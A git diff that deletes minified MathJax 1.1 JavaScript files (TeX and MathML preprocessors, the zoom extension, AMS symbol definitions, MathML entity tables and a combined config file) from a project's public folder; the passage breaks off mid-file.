d=[],c,a,b=this.config;this.match={};for(c=0,a=b.inlineMath.length;c<a;c++){d.push(this.patternQuote(b.inlineMath[c][0]));this.match[b.inlineMath[c][0]]={mode:"",end:b.inlineMath[c][1],pattern:this.endPattern(b.inlineMath[c][1])}}for(c=0,a=b.displayMath.length;c<a;c++){d.push(this.patternQuote(b.displayMath[c][0]));this.match[b.displayMath[c][0]]={mode:"; mode=display",end:b.displayMath[c][1],pattern:this.endPattern(b.displayMath[c][1])}}this.start=new RegExp(d.sort(this.sortLength).join("|")+(b.processEnvironments?"|\\\\begin\\{([^}]*)\\}":"")+(b.processEscapes?"|\\\\*\\\\\\$":""),"g");this.skipTags=new RegExp("^("+b.skipTags.join("|")+")$","i");this.ignoreClass=new RegExp("(^| )("+b.ignoreClass+")( |$)");this.processClass=new RegExp("(^| )("+b.processClass+")( |$)")},patternQuote:function(a){return a.replace(/([\^$(){}+*?\-|\[\]\:\\])/g,"\\$1")},endPattern:function(a){return new RegExp(this.patternQuote(a)+"|\\\\.","g")},sortLength:function(d,c){if(d.length!==c.length){return c.length-d.length}return(d==c?0:(d<c?-1:1))},scanElement:function(c,b,f){var a,e,d;while(c&&c!=b){if(c.nodeName.toLowerCase()==="#text"){if(!f){c=this.scanText(c)}}else{a=(typeof(c.className)==="undefined"?"":c.className);e=(typeof(c.tagName)==="undefined"?"":c.tagName);if(typeof(a)!=="string"){a=String(a)}if(c.firstChild&&!a.match(/(^| )MathJax/)&&!this.skipTags.exec(e)){d=(f||this.ignoreClass.exec(a))&&!this.processClass.exec(a);this.scanElement(c.firstChild,b,d)}}if(c){c=c.nextSibling}}},scanText:function(b){if(b.nodeValue.replace(/\s+/,"")==""){return b}var a,c;this.search={start:true};this.pattern=this.start;while(b){this.pattern.lastIndex=0;while(b&&b.nodeName.toLowerCase()==="#text"&&(a=this.pattern.exec(b.nodeValue))){if(this.search.start){b=this.startMatch(a,b)}else{b=this.endMatch(a,b)}}if(this.search.matched){b=this.encloseMath(b)}if(b){do{c=b;b=b.nextSibling}while(b&&(b.nodeName.toLowerCase()==="br"||b.nodeName.toLowerCase()==="#comment"));if(!b||b.nodeName!=="#text"){return c}}}return b},startMatch:function(a,b){var f=this.match[a[0]];if(f!=null){this.search={end:f.end,mode:f.mode,open:b,olen:a[0].length,opos:this.pattern.lastIndex-a[0].length};this.switchPattern(f.pattern)}else{if(a[0].substr(0,6)==="\\begin"){this.search={end:"\\end{"+a[1]+"}",mode:"; mode=display",open:b,olen:0,opos:this.pattern.lastIndex-a[0].length,isBeginEnd:true};this.switchPattern(this.endPattern(this.search.end))}else{var d=a[0].substr(0,a[0].length-1),g,c;if(d.length%2===0){c=[d.replace(/\\\\/g,"\\")];g=1}else{c=[d.substr(1).replace(/\\\\/g,"\\"),"$"];g=0}c=MathJax.HTML.Element("span",null,c);var e=MathJax.HTML.TextNode(b.nodeValue.substr(0,a.index));b.nodeValue=b.nodeValue.substr(a.index+a[0].length-g);b.parentNode.insertBefore(c,b);b.parentNode.insertBefore(e,c);this.pattern.lastIndex=g}}return b},endMatch:function(a,b){if(a[0]==this.search.end){this.search.close=b;this.search.cpos=this.pattern.lastIndex;this.search.clen=(this.search.isBeginEnd?0:a[0].length);this.search.matched=true;b=this.encloseMath(b);this.switchPattern(this.start)}return b},switchPattern:function(a){a.lastIndex=this.pattern.lastIndex;this.pattern=a;this.search.start=(a===this.start)},encloseMath:function(b){var a=this.search,f=a.close,e,c;if(a.cpos===f.length){f=f.nextSibling}else{f=f.splitText(a.cpos)}if(!f){e=f=MathJax.HTML.addText(a.close.parentNode,"")}a.close=f;c=(a.opos?a.open.splitText(a.opos):a.open);while(c.nextSibling&&c.nextSibling!==f){if(c.nextSibling.nodeValue!==null){if(c.nextSibling.nodeName==="#comment"){c.nodeValue+=c.nextSibling.nodeValue.replace(/^\[CDATA\[((.|\n|\r)*)\]\]$/,"$1")}else{c.nodeValue+=c.nextSibling.nodeValue}}else{if(this.msieNewlineBug){c.nodeValue+=(c.nextSibling.nodeName.toLowerCase()==="br"?"\n":" ")}else{c.nodeValue+=" "}}c.parentNode.removeChild(c.nextSibling)}var d=c.nodeValue.substr(a.olen,c.nodeValue.length-a.olen-a.clen);c.parentNode.removeChild(c);if(this.config.preview!=="none"){this.createPreview(a.mode,d)}c=this.createMathTag(a.mode,d);this.search={};this.pattern.lastIndex=0;if(e){e.parentNode.removeChild(e)}return c},insertNode:function(b){var a=this.search;a.close.parentNode.insertBefore(b,a.close)},createPreview:function(c,a){var b;if(this.config.preview==="TeX"){b=[this.filterTeX(a)]}else{if(this.config.preview instanceof Array){b=this.config.preview}}if(b){b=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},b);this.insertNode(b)}},createMathTag:function(c,b){var a=document.createElement("script");a.type="math/tex"+c;MathJax.HTML.setScript(a,b);this.insertNode(a);return a},filterTeX:function(a){return a},msieNewlineBug:(MathJax.Hub.Browser.isMSIE&&document.documentMode<9)};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.tex2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/tex2jax.js");
-
-MathJax.Extension.mml2jax={version:"1.1.2",config:{preview:"alttext"},MMLnamespace:"http://www.w3.org/1998/Math/MathML",PreProcess:function(e){if(!this.configured){this.config=MathJax.Hub.CombineConfig("mml2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}this.InitBrowser();this.configured=true}if(typeof(e)==="string"){e=document.getElementById(e)}if(!e){e=document.body}this.ProcessMathArray(e.getElementsByTagName("math"));if(e.getElementsByTagNameNS){this.ProcessMathArray(e.getElementsByTagNameNS(this.MMLnamespace,"math"))}var d=document.getElementsByTagName("html")[0];if(d){for(var c=0,b=d.attributes.length;c<b;c++){var a=d.attributes[c];if(a.nodeName.substr(0,6)==="xmlns:"&&a.nodeValue===this.MMLnamespace){this.ProcessMathArray(e.getElementsByTagName(a.nodeName.substr(6)+":math"))}}}},ProcessMathArray:function(b){var a;if(b.length){if(this.MathTagBug){for(a=b.length-1;a>=0;a--){if(b[a].nodeName==="MATH"){this.ProcessMathFlattened(b[a])}else{this.ProcessMath(b[a])}}}else{for(a=b.length-1;a>=0;a--){this.ProcessMath(b[a])}}}},ProcessMath:function(e){var d=e.parentNode;var a=document.createElement("script");a.type="math/mml";d.insertBefore(a,e);if(this.AttributeBug){var b=this.OuterHTML(e);if(this.CleanupHTML){b=b.replace(/<\?import .*?>/i,"").replace(/<\?xml:namespace .*?\/>/i,"");b=b.replace(/&nbsp;/g,"&#xA0;")}MathJax.HTML.setScript(a,b);d.removeChild(e)}else{var c=MathJax.HTML.Element("span");c.appendChild(e);MathJax.HTML.setScript(a,c.innerHTML)}if(this.config.preview!=="none"){this.createPreview(e,a)}},ProcessMathFlattened:function(f){var d=f.parentNode;var b=document.createElement("script");b.type="math/mml";d.insertBefore(b,f);var c="",e,a=f;while(f&&f.nodeName!=="/MATH"){e=f;f=f.nextSibling;c+=this.NodeHTML(e);e.parentNode.removeChild(e)}if(f&&f.nodeName==="/MATH"){f.parentNode.removeChild(f)}b.text=c+"</math>";if(this.config.preview!=="none"){this.createPreview(a,b)}},NodeHTML:function(e){var c,b,a;if(e.nodeName==="#text"){c=this.quoteHTML(e.nodeValue)}else{if(e.nodeName==="#comment"){c="<!--"+e.nodeValue+"-->"}else{c="<"+e.nodeName.toLowerCase();for(b=0,a=e.attributes.length;b<a;b++){var d=e.attributes[b];if(d.specified){c+=" "+d.nodeName.toLowerCase().replace(/xmlns:xmlns/,"xmlns")+"=";var f=d.nodeValue;if(f==null&&d.nodeName==="style"&&e.style){f=e.style.cssText}c+='"'+this.quoteHTML(f)+'"'}}c+=">";if(e.outerHTML!=null&&e.outerHTML.match(/(.<\/[A-Z]+>|\/>)$/)){for(b=0,a=e.childNodes.length;b<a;b++){c+=this.OuterHTML(e.childNodes[b])}c+="</"+e.nodeName.toLowerCase()+">"}}}return c},OuterHTML:function(d){if(d.nodeName.charAt(0)==="#"){return this.NodeHTML(d)}if(!this.AttributeBug){return d.outerHTML}var c=this.NodeHTML(d);for(var b=0,a=d.childNodes.length;b<a;b++){c+=this.OuterHTML(d.childNodes[b])}c+="</"+d.nodeName.toLowerCase()+">";return c},quoteHTML:function(a){if(a==null){a=""}return a.replace(/&/g,"&#x26;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},createPreview:function(b,a){var c;if(this.config.preview==="alttext"){var d=b.getAttribute("alttext");if(d!=null){c=[this.filterText(d)]}}else{if(this.config.preview instanceof Array){c=this.config.preview}}if(c){c=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},c);a.parentNode.insertBefore(c,a)}},filterText:function(a){return a},InitBrowser:function(){var b=MathJax.HTML.Element("span",{id:"<",className:"mathjax",innerHTML:"<math><mi>x</mi><mspace /></math>"});var a=b.outerHTML||"";this.AttributeBug=a!==""&&!(a.match(/id="&lt;"/)&&a.match(/class="mathjax"/)&&a.match(/<\/math>/));this.MathTagBug=b.childNodes.length>1;this.CleanupHTML=MathJax.Hub.Browser.isMSIE}};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.mml2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/mml2jax.js");
-
-(function(a,c,e,b,h){var i="1.1";var g=a.CombineConfig("MathZoom",{delay:400,styles:{"#MathJax_Zoom":{position:"absolute","background-color":"#F0F0F0",overflow:"auto",display:"block","z-index":301,padding:".5em",border:"1px solid black",margin:0,"font-family":"serif","font-size":"85%","font-weight":"normal","font-style":"normal","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","box-shadow":"5px 5px 15px #AAAAAA","-webkit-box-shadow":"5px 5px 15px #AAAAAA","-moz-box-shadow":"5px 5px 15px #AAAAAA","-khtml-box-shadow":"5px 5px 15px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},"#MathJax_ZoomOverlay":{position:"absolute",left:0,top:0,"z-index":300,display:"inline-block",width:"100%",height:"100%",border:0,padding:0,margin:0,"background-color":"white",opacity:0,filter:"alpha(opacity=0)"}}});var d=function(j){if(!j){j=window.event}if(j){if(j.preventDefault){j.preventDefault()}if(j.stopPropagation){j.stopPropagation()}j.cancelBubble=true;j.returnValue=false}return false};var f=MathJax.Extension.MathZoom={version:i,settings:a.config.menuSettings,HandleEvent:function(l,j,k){if(!l){l=window.event}if(f.settings.CTRL&&!l.ctrlKey){return true}if(f.settings.ALT&&!l.altKey){return true}if(f.settings.CMD&&!l.metaKey){return true}if(f.settings.Shift&&!l.shiftKey){return true}return f[j](l,k)},Click:function(k,j){if(this.settings.zoom==="Click"){return this.Zoom(j,k)}},DblClick:function(k,j){if(this.settings.zoom==="Double-Click"){return this.Zoom(j,k)}},Mouseover:function(k,j){if(this.settings.zoom==="Hover"){f.oldMouseOver=j.onmouseover;j.onmouseover=null;j.onmousemove=this.Mousemove;j.onmouseout=this.Mouseout;return f.Timer(k,j)}},Mouseout:function(j){this.onmouseover=f.oldMouseOver;delete f.oldMouseOver;this.onmousemove=this.onmouseout=null;f.ClearTimer();return d(j)},Mousemove:function(j){return f.Timer(j||window.event,this)},Timer:function(k,j){this.ClearTimer();this.timer=setTimeout(MathJax.Callback(["Zoom",this,j,{}]),g.delay);return d(k)},ClearTimer:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},Zoom:function(s,l){this.ClearTimer();this.Remove();var v=s.parentNode;if(v.className==="MathJax_MathContainer"){v=v.parentNode}if(v.parentNode.className==="MathJax_MathContainer"){v=v.parentNode.parentNode}var q=(String(v.className).match(/^MathJax_(MathML|Display)$/)?v:s).nextSibling;var m=a.getJaxFor(q),r=m.root;var o=(b&&m.outputJax.isa(b.constructor)?"HTMLCSS":(h&&m.outputJax.isa(h.constructor)?"MathML":null));if(!o){return}var j=Math.floor(0.85*document.body.clientWidth),p=Math.floor(0.85*document.body.clientHeight);var k=c.Element("span",{style:{position:"relative",display:"inline-block",height:0,width:0},id:"MathJax_ZoomFrame"},[["span",{id:"MathJax_ZoomOverlay",onmousedown:this.Remove}],["span",{id:"MathJax_Zoom",onclick:this.Remove,style:{visibility:"hidden",fontSize:this.settings.zscale,"max-width":j+"px","max-height":p+"px"}},[["span"]]]]);var x=k.lastChild,u=x.firstChild,n=k.firstChild;s.parentNode.insertBefore(k,s);if(this.msieZIndexBug){var t=c.Element("img",{src:"about:blank",id:"MathJax_ZoomTracker",style:{width:0,height:0,position:"relative"}});document.body.appendChild(k);k.style.position="absolute";k.style.zIndex=g.styles["#MathJax_ZoomOverlay"]["z-index"];k=t}var w=(this["Zoom"+o])(r,u,s);if(this.msiePositionBug){if(this.msieIE8Bug){u.style.position="absolute";x.style.height=u.offsetHeight;u.style.position="";if(x.offsetHeight<=p&&x.offsetWidth<=j){x.style.overflow="visible"}}if(this.msieWidthBug){x.style.width=Math.min(j,w.w)}else{if(w.w>j){x.style.width=j}}if(x.offsetHeight>p){x.style.Height=p+"px"}if(s.nextSibling){s.parentNode.insertBefore(k,s.nextSibling)}else{v.appendChild(k)}}else{if(this.operaPositionBug){x.style.width=Math.min(j,u.offsetWidth)+"px"}}this.Position(x,w,(o==="MathML"&&v.nodeName.toLowerCase()==="div"));x.style.visibility="";if(this.settings.zoom==="Hover"){n.onmouseover=this.Remove}if(window.addEventListener){addEventListener("resize",this.Resize,false)}else{if(window.attachEvent){attachEvent("onresize",this.Resize)}else{this.onresize=window.onresize;window.onresize=this.Resize}}return d(l)},ZoomHTMLCSS:function(o,q,p){q.className="MathJax";b.idPostfix="-zoom";b.getScales(q,q);o.toHTML(q,q);var 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c=MathJax.InputJax.TeX.Definitions;c.mathchar0mi.varnothing="2205";c.mathchar0mi.hslash="210F";c.mathchar0mi.blacktriangle="25B4";c.mathchar0mi.blacktriangledown="25BE";c.mathchar0mi.square="25FB";c.mathchar0mi.blacksquare="25FC";c.mathchar0mi.vartriangle=["25B3",{mathsize:"71%"}];c.mathchar0mi.triangledown=["25BD",{mathsize:"71%"}];c.mathchar0mo.blacktriangleleft="25C2";c.mathchar0mo.blacktriangleright="25B8";c.mathchar0mo.smallsetminus="2216";MathJax.Hub.Insert(b["-STIX-variant"],{remap:{10887:57360,10888:57359,8816:57361,8817:57358,8928:57419,8929:57423,8840:57366,8841:57368}})})}MathJax.Hub.Startup.signal.Post("TeX AMSsymbols Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/AMSsymbols.js");
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Check that\nthe 'Script ActiveX controls marked safe for scripting' security\nsetting is enabled (use the Internet Options item in the Tools\nmenu, and select the Security panel, then press the Custom Level\nbutton to check this).\n\nMathML equations will not be able to be processed by MathJax.");return(this.parseError)}this.parser.async=false;return(this.parseMS)}}this.div=MathJax.Hub.Insert(document.createElement("div"),{style:{visibility:"hidden",overflow:"hidden",height:"1px",position:"absolute",top:0}});if(!document.body.firstChild){document.body.appendChild(this.div)}else{document.body.insertBefore(this.div,document.body.firstChild)}return(this.parseDIV)},Startup:function(){a=MathJax.ElementJax.mml;a.mspace.Augment({mmlSelfClosing:true});a.none.Augment({mmlSelfClosing:true});a.mprescripts.Augment({mmlSelfClossing:true})}});b.Parse.Entity={ApplyFunction:"\u2061",Backslash:"\u2216",Because:"\u2235",Breve:"\u02D8",Cap:"\u22D2",CenterDot:"\u00B7",CircleDot:"\u2299",CircleMinus:"\u2296",CirclePlus:"\u2295",CircleTimes:"\u2297",Congruent:"\u2261",ContourIntegral:"\u222E",Coproduct:"\u2210",Cross:"\u2A2F",Cup:"\u22D3",CupCap:"\u224D",Dagger:"\u2021",Del:"\u2207",Delta:"\u0394",Diamond:"\u22C4",DifferentialD:"\u2146",DotEqual:"\u2250",DoubleDot:"\u00A8",DoubleRightTee:"\u22A8",DoubleVerticalBar:"\u2225",DownArrow:"\u2193",DownLeftVector:"\u21BD",DownRightVector:"\u21C1",DownTee:"\u22A4",Downarrow:"\u21D3",Element:"\u2208",EqualTilde:"\u2242",Equilibrium:"\u21CC",Exists:"\u2203",ExponentialE:"\u2147",FilledVerySmallSquare:"\u25AA",ForAll:"\u2200",Gamma:"\u0393",Gg:"\u22D9",GreaterEqual:"\u2265",GreaterEqualLess:"\u22DB",GreaterFullEqual:"\u2267",GreaterLess:"\u2277",GreaterSlantEqual:"\u2A7E",GreaterTilde:"\u2273",Hacek:"\u02C7",Hat:"\u005E",HumpDownHump:"\u224E",HumpEqual:"\u224F",Im:"\u2111",ImaginaryI:"\u2148",Integral:"\u222B",Intersection:"\u22C2",InvisibleComma:"\u2063",InvisibleTimes:"\u2062",Lambda:"\u039B",Larr:"\u219E",LeftAngleBracket:"\u27E8",LeftArrow:"\u2190",LeftArrowRightArrow:"\u21C6",LeftCeiling:"\u2308",LeftDownVector:"\u21C3",LeftFloor:"\u230A",LeftRightArrow:"\u2194",LeftTee:"\u22A3",LeftTriangle:"\u22B2",LeftTriangleEqual:"\u22B4",LeftUpVector:"\u21BF",LeftVector:"\u21BC",Leftarrow:"\u21D0",Leftrightarrow:"\u21D4",LessEqualGreater:"\u22DA",LessFullEqual:"\u2266",LessGreater:"\u2276",LessSlantEqual:"\u2A7D",LessTilde:"\u2272",Ll:"\u22D8",Lleftarrow:"\u21DA",LongLeftArrow:"\u27F5",LongLeftRightArrow:"\u27F7",LongRightArrow:"\u27F6",Longleftarrow:"\u27F8",Longleftrightarrow:"\u27FA",Longrightarrow:"\u27F9",Lsh:"\u21B0",MinusPlus:"\u2213",NestedGreaterGreater:"\u226B",NestedLessLess:"\u226A",NotDoubleVerticalBar:"\u2226",NotElement:"\u2209",NotEqual:"\u2260",NotExists:"\u2204",NotGreater:"\u226F",NotGreaterEqual:"\u2271",NotLeftTriangle:"\u22EA",NotLeftTriangleEqual:"\u22EC",NotLess:"\u226E",NotLessEqual:"\u2270",NotPrecedes:"\u2280",NotPrecedesSlantEqual:"\u22E0",NotRightTriangle:"\u22EB",NotRightTriangleEqual:"\u22ED",NotSubsetEqual:"\u2288",NotSucceeds:"\u2281",NotSucceedsSlantEqual:"\u22E1",NotSupersetEqual:"\u2289",NotTilde:"\u2241",NotVerticalBar:"\u2224",Omega:"\u03A9",OverBar:"\u203E",OverBrace:"\u23DE",PartialD:"\u2202",Phi:"\u03A6",Pi:"\u03A0",PlusMinus:"\u00B1",Precedes:"\u227A",PrecedesEqual:"\u2AAF",PrecedesSlantEqual:"\u227C",PrecedesTilde:"\u227E",Product:"\u220F",Proportional:"\u221D",Psi:"\u03A8",Rarr:"\u21A0",Re:"\u211C",ReverseEquilibrium:"\u21CB",RightAngleBracket:"\u27E9",RightArrow:"\u2192",RightArrowLeftArrow:"\u21C4",RightCeiling:"\u2309",RightDownVector:"\u21C2",RightFloor:"\u230B",RightTee:"\u22A2",RightTeeArrow:"\u21A6",RightTriangle:"\u22B3",RightTriangleEqual:"\u22B5",RightUpVector:"\u21BE",RightVector:"\u21C0",Rightarrow:"\u21D2",Rrightarrow:"\u21DB",Rsh:"\u21B1",Sigma:"\u03A3",SmallCircle:"\u2218",Sqrt:"\u221A",Square:"\u25A1",SquareIntersection:"\u2293",SquareSubset:"\u228F",SquareSubsetEqual:"\u2291",SquareSuperset:"\u2290",SquareSupersetEqual:"\u2292",SquareUnion:"\u2294",Star:"\u22C6",Subset:"\u22D0",SubsetEqual:"\u2286",Succeeds:"\u227B",SucceedsEqual:"\u2AB0",SucceedsSlantEqual:"\u227D",SucceedsTilde:"\u227F",SuchThat:"\u220B",Sum:"\u2211",Superset:"\u2283",SupersetEqual:"\u2287",Supset:"\u22D1",Therefore:"\u2234",Theta:"\u0398",Tilde:"\u223C",TildeEqual:"\u2243",TildeFullEqual:"\u2245",TildeTilde:"\u2248",UnderBar:"\u005F",UnderBrace:"\u23DF",Union:"\u22C3",UnionPlus:"\u228E",UpArrow:"\u2191",UpDownArrow:"\u2195",UpTee:"\u22A5",Uparrow:"\u21D1",Updownarrow:"\u21D5",Upsilon:"\u03A5",Vdash:"\u22A9",Vee:"\u22C1",VerticalBar:"\u2223",VerticalTilde:"\u2240",Vvdash:"\u22AA",Wedge:"\u22C0",Xi:"\u039E",acute:"\u00B4",aleph:"\u2135",alpha:"\u03B1",amalg:"\u2A3F",and:"\u2227",ang:"\u2220",angmsd:"\u2221",angsph:"\u2222",ape:"\u224A",backprime:"\u2035",backsim:"\u223D",backsimeq:"\u22CD",beta:"\u03B2",beth:"\u2136",between:"\u226C",bigcirc:"\u25EF",bigodot:"\u2A00",bigoplus:"\u2A01",bigotimes:"\u2A02",bigsqcup:"\u2A06",bigstar:"\u2605",bigtriangledown:"\u25BD",bigtriangleup:"\u25B3",biguplus:"\u2A04",blacklozenge:"\u29EB",blacktriangle:"\u25B4",blacktriangledown:"\u25BE",blacktriangleleft:"\u25C2",bowtie:"\u22C8",boxdl:"\u2510",boxdr:"\u250C",boxminus:"\u229F",boxplus:"\u229E",boxtimes:"\u22A0",boxul:"\u2518",boxur:"\u2514",bsol:"\u005C",bull:"\u2022",cap:"\u2229",check:"\u2713",chi:"\u03C7",circ:"\u02C6",circeq:"\u2257",circlearrowleft:"\u21BA",circlearrowright:"\u21BB",circledR:"\u00AE",circledS:"\u24C8",circledast:"\u229B",circledcirc:"\u229A",circleddash:"\u229D",clubs:"\u2663",colon:"\u003A",comp:"\u2201",ctdot:"\u22EF",cuepr:"\u22DE",cuesc:"\u22DF",cularr:"\u21B6",cup:"\u222A",curarr:"\u21B7",curlyvee:"\u22CE",curlywedge:"\u22CF",dagger:"\u2020",daleth:"\u2138",ddarr:"\u21CA",deg:"\u00B0",delta:"\u03B4",digamma:"\u03DD",div:"\u00F7",divideontimes:"\u22C7",dot:"\u02D9",doteqdot:"\u2251",dotplus:"\u2214",dotsquare:"\u22A1",dtdot:"\u22F1",ecir:"\u2256",efDot:"\u2252",egs:"\u2A96",ell:"\u2113",els:"\u2A95",empty:"\u2205",epsi:"\u03B5",epsiv:"\u03F5",erDot:"\u2253",eta:"\u03B7",eth:"\u00F0",flat:"\u266D",fork:"\u22D4",frown:"\u2322",gEl:"\u2A8C",gamma:"\u03B3",gap:"\u2A86",gimel:"\u2137",gnE:"\u2269",gnap:"\u2A8A",gne:"\u2A88",gnsim:"\u22E7",gt:"\u003E",gtdot:"\u22D7",harrw:"\u21AD",hbar:"\u210F",hellip:"\u2026",hookleftarrow:"\u21A9",hookrightarrow:"\u21AA",imath:"\u0131",infin:"\u221E",intcal:"\u22BA",iota:"\u03B9",jmath:"\u0237",kappa:"\u03BA",kappav:"\u03F0",lEg:"\u2A8B",lambda:"\u03BB",lap:"\u2A85",larrlp:"\u21AB",larrtl:"\u21A2",lbrace:"\u007B",lbrack:"\u005B",le:"\u2264",leftleftarrows:"\u21C7",leftthreetimes:"\u22CB",lessdot:"\u22D6",lmoust:"\u23B0",lnE:"\u2268",lnap:"\u2A89",lne:"\u2A87",lnsim:"\u22E6",longmapsto:"\u27FC",looparrowright:"\u21AC",lowast:"\u2217",loz:"\u25CA",lt:"\u003C",ltimes:"\u22C9",ltri:"\u25C3",macr:"\u00AF",malt:"\u2720",mho:"\u2127",mu:"\u03BC",multimap:"\u22B8",nLeftarrow:"\u21CD",nLeftrightarrow:"\u21CE",nRightarrow:"\u21CF",nVDash:"\u22AF",nVdash:"\u22AE",natur:"\u266E",nearr:"\u2197",nharr:"\u21AE",nlarr:"\u219A",not:"\u00AC",nrarr:"\u219B",nu:"\u03BD",nvDash:"\u22AD",nvdash:"\u22AC",nwarr:"\u2196",omega:"\u03C9",omicron:"\u03BF",or:"\u2228",osol:"\u2298",period:"\u002E",phi:"\u03C6",phiv:"\u03D5",pi:"\u03C0",piv:"\u03D6",prap:"\u2AB7",precnapprox:"\u2AB9",precneqq:"\u2AB5",precnsim:"\u22E8",prime:"\u2032",psi:"\u03C8",rarrtl:"\u21A3",rbrace:"\u007D",rbrack:"\u005D",rho:"\u03C1",rhov:"\u03F1",rightrightarrows:"\u21C9",rightthreetimes:"\u22CC",ring:"\u02DA",rmoust:"\u23B1",rtimes:"\u22CA",rtri:"\u25B9",scap:"\u2AB8",scnE:"\u2AB6",scnap:"\u2ABA",scnsim:"\u22E9",sdot:"\u22C5",searr:"\u2198",sect:"\u00A7",sharp:"\u266F",sigma:"\u03C3",sigmav:"\u03C2",simne:"\u2246",smile:"\u2323",spades:"\u2660",sub:"\u2282",subE:"\u2AC5",subnE:"\u2ACB",subne:"\u228A",supE:"\u2AC6",supnE:"\u2ACC",supne:"\u228B",swarr:"\u2199",tau:"\u03C4",theta:"\u03B8",thetav:"\u03D1",tilde:"\u02DC",times:"\u00D7",triangle:"\u25B5",triangleq:"\u225C",upsi:"\u03C5",upuparrows:"\u21C8",veebar:"\u22BB",vellip:"\u22EE",weierp:"\u2118",xi:"\u03BE",yen:"\u00A5",zeta:"\u03B6",zigrarr:"\u21DD"};b.loadComplete("jax.js")})(MathJax.InputJax.MathML,MathJax.Hub.Browser);
-
-MathJax.Ajax.loadComplete("[MathJax]/config/Accessible.js");
diff --git a/public/MathJax/config/MML_HTMLorMML-full.js b/public/MathJax/config/MML_HTMLorMML-full.js
deleted file mode 100644
index 0482efba..00000000
--- a/public/MathJax/config/MML_HTMLorMML-full.js
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- *  /MathJax/config/MML_HTMLorMML-full.js
- *  
- *  Copyright (c) 2010-11 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Config({delayJaxRegistration: true});
-
-MathJax.Ajax.Preloading(
-  "[MathJax]/jax/input/MathML/config.js",
-  "[MathJax]/jax/output/HTML-CSS/config.js",
-  "[MathJax]/jax/output/NativeMML/config.js",
-  "[MathJax]/config/MMLorHTML.js",
-  "[MathJax]/extensions/mml2jax.js",
-  "[MathJax]/extensions/MathZoom.js",
-  "[MathJax]/extensions/MathMenu.js",
-  "[MathJax]/jax/element/mml/jax.js",
-  "[MathJax]/extensions/toMathML.js",
-  "[MathJax]/jax/input/MathML/jax.js",
-  "[MathJax]/jax/output/NativeMML/jax.js",
-  "[MathJax]/jax/output/HTML-CSS/jax.js",
-  "[MathJax]/jax/output/HTML-CSS/autoload/mtable.js"
-);
-
-MathJax.Hub.Config({"v1.0-compatible":false});
-
-MathJax.InputJax.MathML=MathJax.InputJax({id:"MathML",version:"1.1.4",directory:MathJax.InputJax.directory+"/MathML",extensionDir:MathJax.InputJax.extensionDir+"/MathML",entityDir:MathJax.InputJax.directory+"/MathML/entities",config:{useMathMLspacing:false}});MathJax.InputJax.MathML.Register("math/mml");MathJax.InputJax.MathML.loadComplete("config.js");
-
-MathJax.OutputJax["HTML-CSS"]=MathJax.OutputJax({id:"HTML-CSS",version:"1.1.5",directory:MathJax.OutputJax.directory+"/HTML-CSS",extensionDir:MathJax.OutputJax.extensionDir+"/HTML-CSS",autoloadDir:MathJax.OutputJax.directory+"/HTML-CSS/autoload",fontDir:MathJax.OutputJax.directory+"/HTML-CSS/fonts",webfontDir:MathJax.OutputJax.fontDir+"/HTML-CSS",config:{scale:100,minScaleAdjust:50,availableFonts:["STIX","TeX"],preferredFont:"TeX",webFont:"TeX",imageFont:"TeX",undefinedFamily:"STIXGeneral,'Arial Unicode MS',serif",showMathMenu:true,styles:{".MathJax_Display":{"text-align":"center",margin:"1em 0em"},".MathJax .merror":{"background-color":"#FFFF88",color:"#CC0000",border:"1px solid #CC0000",padding:"1px 3px","font-family":"serif","font-style":"normal","font-size":"90%"},".MathJax_Preview":{color:"#888888"},"#MathJax_Tooltip":{"background-color":"InfoBackground",color:"InfoText",border:"1px solid black","box-shadow":"2px 2px 5px #AAAAAA","-webkit-box-shadow":"2px 2px 5px #AAAAAA","-moz-box-shadow":"2px 2px 5px #AAAAAA","-khtml-box-shadow":"2px 2px 5px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')",padding:"3px 4px"}}}});if(MathJax.Hub.Browser.isMSIE&&document.documentMode>=9){delete MathJax.OutputJax["HTML-CSS"].config.styles["#MathJax_Tooltip"].filter}if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}MathJax.Hub.Register.StartupHook("End Config",[function(b,c){var a=b.Insert({minBrowserVersion:{Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4},inlineMathDelimiters:["$","$"],displayMathDelimiters:["$$","$$"],multilineDisplay:true,minBrowserTranslate:function(f){var e=b.getJaxFor(f),k=["[Math]"],j;var h=document.createElement("span",{className:"MathJax_Preview"});if(e.inputJax.id==="TeX"){if(e.root.Get("displaystyle")){j=a.displayMathDelimiters;k=[j[0]+e.originalText+j[1]];if(a.multilineDisplay){k=k[0].split(/\n/)}}else{j=a.inlineMathDelimiters;k=[j[0]+e.originalText.replace(/^\s+/,"").replace(/\s+$/,"")+j[1]]}}for(var g=0,d=k.length;g<d;g++){h.appendChild(document.createTextNode(k[g]));if(g<d-1){h.appendChild(document.createElement("br"))}}f.parentNode.insertBefore(h,f)}},(b.config["HTML-CSS"]||{}));if(b.Browser.version!=="0.0"&&!b.Browser.versionAtLeast(a.minBrowserVersion[b.Browser]||0)){c.Translate=a.minBrowserTranslate;b.Config({showProcessingMessages:false});MathJax.Message.Set("Your browser does not support MathJax",null,4000);b.Startup.signal.Post("MathJax not 